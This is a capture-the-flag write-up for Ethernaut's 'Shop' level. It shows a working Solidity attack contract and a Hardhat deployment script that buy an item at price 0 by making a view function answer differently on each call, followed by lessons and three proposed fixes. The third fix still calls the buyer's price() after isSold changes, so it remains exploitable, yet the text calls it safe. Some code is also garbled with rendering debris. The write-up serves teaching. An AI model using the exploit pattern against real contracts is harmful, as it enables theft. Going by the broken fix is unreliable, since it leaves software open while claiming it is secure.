March 15, 2024

Shop Challenge - Ethernaut Level 21

5 min readDifficulty: Medium

Challenge Description

ShopSolidityView FunctionsLevel 21

Challenge Goal

Buy the item from the shop for less than the asking price. This requires understanding how view functions can return different values based on contract state and exploiting the fact that the price() function is called twice with different state conditions.

The Vulnerable Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() {'>='} price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

The Vulnerability

The vulnerability in this contract is subtle but exploitable. The issue is in the buy function:

  1. Double Function Call: The contract calls _buyer.price() twice with the same input but expects consistent results
  2. State Change Between Calls: Between the first and second call to price(), the contract changes its state by setting isSold = true
  3. View Function State Reading: Even though price() is marked as view, it can still read contract state and return different values

The key insight is that while view functions cannot modify state, they can still read state variables and return different values based on the current contract state.

The Attack Strategy

To exploit this vulnerability, we can create a price() function that returns different values based on the shop's isSold state:

  1. First Call: Return a value >= 100 to pass the price check
  2. State Change: The shop sets isSold = true
  3. Second Call: Return 0 to set the final price to 0

The Attack Contract

Here's the attack contract that exploits this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract ShopAttack {
    function price() external view returns (uint256) {
        // Return 100 for the first check, but 0 for the second check
        bool sold = IShop(msg.sender).isSold();
        if (!sold) {
            return 100; // Pass the first check
        } else {
            return 0;   // Set the final price to 0
        }
    }

    function attack(address shopAddress) external {
        IShop(shopAddress).buy();
    }
}

How the Attack Works

Attack Flow:

  1. Deploy Attack Contract: Deploy the ShopAttack contract
  2. Call buy() Function: Call the attack function which calls buy() on the shop
  3. First price() Call: The shop calls price() on our contract, which returns 100 (passing the check)
  4. State Change: The shop sets isSold = true
  5. Second price() Call: The shop calls price() again, but this time our function returns 0
  6. Price Set to 0: The shop sets price = 0, completing the attack

Key Attack Code:

// The critical part - our price() function
function price() external view returns (uint256) {
    // Return 100 for the first check, but 0 for the second check
    bool sold = IShop(msg.sender).isSold();
    if (!sold) {
        return 100; // Pass the first check
    } else {
        return 0;   // Set the final price to 0
    }
}

// This exploits the fact that view functions can read state
// and return different values based on contract state

Deployment and Execution Script

Here's the script to deploy and execute the attack:

const hre = require("hardhat");
require("dotenv").config();

async function main() {
  // Get the Shop contract address from .env
  const shopAddress = process.env.SHOP_ADDRESS;
  if (!shopAddress) {
    throw new Error("Please set SHOP_ADDRESS in your .env file");
  }
  console.log("Shop contract address:", shopAddress);

  // Deploy the attack contract
  const ShopAttack = await hre.ethers.getContractFactory("ShopAttack");
  const attack = await ShopAttack.deploy();
  await attack.waitForDeployment();
  console.log("ShopAttack deployed to:", await attack.getAddress());

  // Get the Shop contract instance
  const Shop = await hre.ethers.getContractFactory("Shop");
  const shop = await Shop.attach(shopAddress);

  // Execute the attack
  console.log("Initial price:", (await shop.price()).toString());
  console.log("Initial isSold:", await shop.isSold());

  console.log("Executing attack...");
  const tx = await attack.attack(shopAddress);
  await tx.wait();

  // Verify the attack worked
  console.log("Final price:", (await shop.price()).toString());
  console.log("Final isSold:", await shop.isSold());

  if ((await shop.isSold()) && (await shop.price()).toString() === "0") {
    console.log("Attack successful! Item bought for 0 price.");
  }
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Why This Attack Works

View Function Behavior:

  • State Reading: View functions can read contract state even though they cannot modify it
  • Dynamic Responses: View functions can return different values based on the current state
  • No State Modification: View functions cannot change state, but they can read state changes made by other functions
  • Consistency Assumption: The contract assumes that calling the same view function twice will return the same result

Order of Operations:

// In the buy() function:
1. _buyer.price() >= price && !isSold  // First call: returns 100, check passes
2. isSold = true                       // State changes
3. price = _buyer.price()              // Second call: returns 0, price set to 0

Security Lessons

  • View Function Assumptions: Don't assume that calling the same view function twice will return the same result
  • State-Dependent Logic: Be careful when using external view functions in state-dependent logic
  • Cache Results: Cache the result of external view calls if you need consistency
  • State Changes: Be aware that state changes between function calls can affect subsequent view function results
  • Interface Design: Design interfaces carefully to avoid unexpected behavior from state-dependent functions

Prevention

Here's how you could fix the vulnerable contract:

// Fixed version 1: Cache the price result
function buy() public {
    Buyer _buyer = Buyer(msg.sender);
    
    // Cache the price to ensure consistency
    uint256 buyerPrice = _buyer.price();
    
            if (buyerPrice {'>='} price && !isSold) {
        isSold = true;
        price = buyerPrice; // Use cached value
    }
}

// Fixed version 2: Use internal validation
function buy() public {
    Buyer _buyer = Buyer(msg.sender);
    
    // Validate price internally instead of trusting external call
    require(!isSold, "Item already sold");
    
    uint256 buyerPrice = _buyer.price();
    require(buyerPrice >= price, "Price too low");
    
    isSold = true;
    price = buyerPrice;
}

// Fixed version 3: Separate validation and execution
function buy() public {
    Buyer _buyer = Buyer(msg.sender);
    
    // Validate first
    require(!isSold, "Item already sold");
    require(_buyer.price() >= price, "Price too low");
    
    // Then execute
    isSold = true;
    price = _buyer.price(); // This is now safe since we've already validated
}

Real-World Implications

This type of vulnerability can occur in various real-world scenarios:

  • Pricing Systems: Contracts that use external price feeds or oracles
  • Auction Contracts: Contracts that check bids against external price functions
  • Marketplace Contracts: Contracts that validate prices from external sources
  • Oracle Integration: Any contract that relies on external data sources for pricing
  • Dynamic Pricing: Contracts with pricing logic that depends on external state

View Function Best Practices

When working with view functions and external interfaces:

  • Cache Results: Cache the results of external view calls if you need consistency
  • Validate Early: Validate external data early in the function execution
  • State Awareness: Be aware that contract state can change between function calls
  • Interface Design: Design interfaces to minimize state-dependent behavior
  • Testing: Test with various state conditions to ensure consistent behavior

Conclusion

The Shop challenge teaches us about the importance of understanding how view functions work and how they can be affected by contract state changes. The key takeaway is that view functions can return different values based on contract state, even though they cannot modify state themselves.

This vulnerability demonstrates why it's crucial to cache results from external view calls when consistency is required and to be aware of how state changes can affect the behavior of external functions.

Your Notes